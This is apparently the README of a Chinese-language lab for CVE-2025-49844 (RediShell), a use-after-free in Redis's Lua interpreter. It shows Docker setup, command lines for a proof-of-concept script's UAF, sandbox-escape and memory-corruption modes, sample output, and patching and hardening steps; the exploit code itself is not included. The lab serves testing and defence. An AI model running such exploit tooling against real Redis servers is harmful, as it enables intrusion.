一个用于测试和理解 Redis 中严重 CVE-2025-49844 (RediShell) 漏洞的实用实验环境。
本工具仅供教育用途!
以下版本之前的所有 Redis 版本:
本实验使用 Redis 7.2.0(受影响版本)。
# 安装 Docker 和 Docker Compose
sudo apt-get update
sudo apt-get install docker.io docker-compose
# 安装 Python 依赖
pip install redis colorama
# 1. 启动存在漏洞的 Redis 实例
docker-compose up -d
# 2. 等待几秒钟让 Redis 启动
sleep 5
# 3. 验证 Redis 正在运行
docker-compose ps
# 4. 运行漏洞利用程序
python3 exploit_poc.py -H localhost -p 6380 -m all
# 仅检查漏洞
python3 exploit_poc.py -H localhost -p 6380 -m check
# 运行基本 UAF 测试
python3 exploit_poc.py -H localhost -p 6380 -m basic
# 测试沙箱逃逸
python3 exploit_poc.py -H localhost -p 6380 -m sandbox
# 测试高级内存破坏
python3 exploit_poc.py -H localhost -p 6380 -m advanced
# 运行所有测试
python3 exploit_poc.py -H localhost -p 6380 -m all
# 使用身份验证
python3 exploit_poc.py -H localhost -p 6380 -a "password" -m all
# 查看日志
docker-compose logs -f
# 连接到 Redis CLI
docker-compose exec redis-vulnerable redis-cli
# 停止实验环境
docker-compose down
# 移除所有内容(包括数据卷)
docker-compose down -v
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-49844 (RediShell) PoC ║
║ Use-After-Free in Redis Lua Interpreter ║
║ CVSS Score: 10.0 (CRITICAL) ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing connection to localhost:6380...
[+] Connected successfully!
[i] Redis Version: 7.2.0
[*] Checking if Lua scripting is enabled...
[+] Lua scripting is enabled!
[*] Checking vulnerability status...
[i] Detected Redis version: 7.2.0
[!] VULNERABLE: This version is affected by CVE-2025-49844
[!] Update to the latest patched version immediately!
[*] Attempting basic UAF trigger...
[+] Lua script executed: UAF pattern executed
[!] UAF pattern triggered (simplified demo)
[*] Testing Lua sandbox boundaries...
[*] Testing os.execute...
[+] Protected: os.execute blocked
[*] Testing io.popen...
[+] Protected: io.popen blocked
[*] Testing loadfile...
[+] Protected: loadfile blocked
[*] Testing package.loadlib...
[+] Protected: package.loadlib blocked
[*] Attempting memory corruption pattern...
[+] Memory corruption pattern executed: Memory corruption pattern completed
[!] In vulnerable versions, this could lead to RCE!
============================================================
[*] PoC execution completed
============================================================
该漏洞利用了 Redis 的 Lua 解释器中存在 13 年之久的释放后使用(UAF)缺陷:
# 拉取最新修补版本
docker pull redis:8.2.2
# 或
docker pull redis:7.4.6
# /etc/redis/redis.conf
# 启用身份验证
requirepass your_strong_password_here
# 限制网络访问
bind 127.0.0.1 ::1
protected-mode yes
# 禁用危险命令
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command EVALSHA ""
# 启用日志记录
loglevel notice
logfile /var/log/redis/redis-server.log
# 为特定用户禁用 Lua 脚本功能
redis-cli ACL SETUSER myuser -@scripting
# 创建受限用户
redis-cli ACL SETUSER limited on >password ~* +@read +@write -@scripting
# 使用防火墙规则
sudo ufw allow from 192.168.1.0/24 to any port 6379
sudo ufw deny 6379
# 或使用 iptables
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP
# 检查端口被哪个进程占用
sudo lsof -i :6380
# 或在 docker-compose.yml 中更改端口
# ports:
# - "6381:6379"
# 安装所需包
pip install redis colorama
# 或使用虚拟环境
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# 将用户添加到 docker 组
sudo usermod -aG docker $USER
# 然后注销并重新登录
# 查看日志
docker-compose logs
# 重启容器
docker-compose restart
# 重新构建镜像
docker-compose up -d --build
redis_exploit/
├── Dockerfile # Redis 7.2.0 存在漏洞的实例
├── docker-compose.yml # Docker Compose 配置
├── exploit_poc.py # 主要漏洞利用脚本
├── requirements.txt # Python 依赖
├── .gitignore # Git 忽略文件
└── README.md # 本文件
本 PoC 已简化,仅供教育用途。实际的 CVE-2025-49844 漏洞利用涉及复杂的内存操作。请务必将您的 Redis 实例修补到最新版本!